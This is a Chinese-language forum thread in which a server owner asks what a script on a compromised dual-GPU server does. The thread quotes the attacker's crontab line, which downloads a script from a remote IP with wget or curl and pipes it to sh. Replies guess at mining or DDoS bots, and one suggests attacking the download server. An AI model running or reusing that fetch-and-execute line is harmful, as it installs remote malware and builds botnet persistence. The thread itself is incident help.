一个双显卡服务器被入侵了，他会定时从下载脚本并执行

[rwecho]

http://185.150.117.29/x/b

帮忙分析下这些脚本是干什么的？目前看显卡并没有运行，而是定时占用大量带宽。

[virusdefender]

这种一般都是挖矿

[rwecho]

15 * * * * wget http://185.150.117.29/x/b -O- | sh || curl http://185.150.117.29/x/b | sh

它在电脑里面创建了一个用户名为：ps
然后里面有一个 crontab 命令

[longbow0]

主要是从 185.150.117.29 下载适配了不同硬件版本的木马 bot.*

其中，bot.x86 介绍在 https://s.tencent.com/research/report/1101.html

[CaffreySun]

这个脚步比较简单，就是“感染”你的服务器，并且创建定时任务重复“感染”。
至于他“感染”你的服务做什么，得看他执行的那些“bot”开头的程序了，找大佬反编译分析一下。
或许用来挖坑。
或许用来执行网络攻击。

[wat4me]

https://s.threatbook.cn/report/file/7c5557c8935efb72899c9360e45edbee9065f1e993740bd0bff8de90c69cbc79/?env=centos_7_x64
文件下载下来扔沙箱看看呗。

[Aresrun]

我之前也被入侵了。服务器上没啥东西，就重装了系统

[lopetver]

@rwecho 认真的吗

这只是一个定时下载的任务而已啊，哪里有“它在电脑里面创建了一个用户名为：ps
然后里面有一个 crontab 命令” 这些操作

[missz]

把服务器做为肉鸡，用来 ddos，所以会时不时带宽拉满

[no1xsyzy]

命令行 HTTP 客户端竟然是 wget 和 curl 而没有 lynx
我记得哪个 Unix 环境是默认只有 lynx 的来着？

[hlobo]

攻击它下载脚本的服务器

[changchong]

修改端口怎么样

[yogogo]

前几天我一台也是给挂挖矿的，后来就关端口，开 selinux，就好了

[rwecho]

已经把下载的脚本清空了，目前没看到有异常情况，之前 root 密码太弱了

[lanshee]

@rwecho #23 清空是治标不治本的.

[guanyin8cnq12]

一个字，格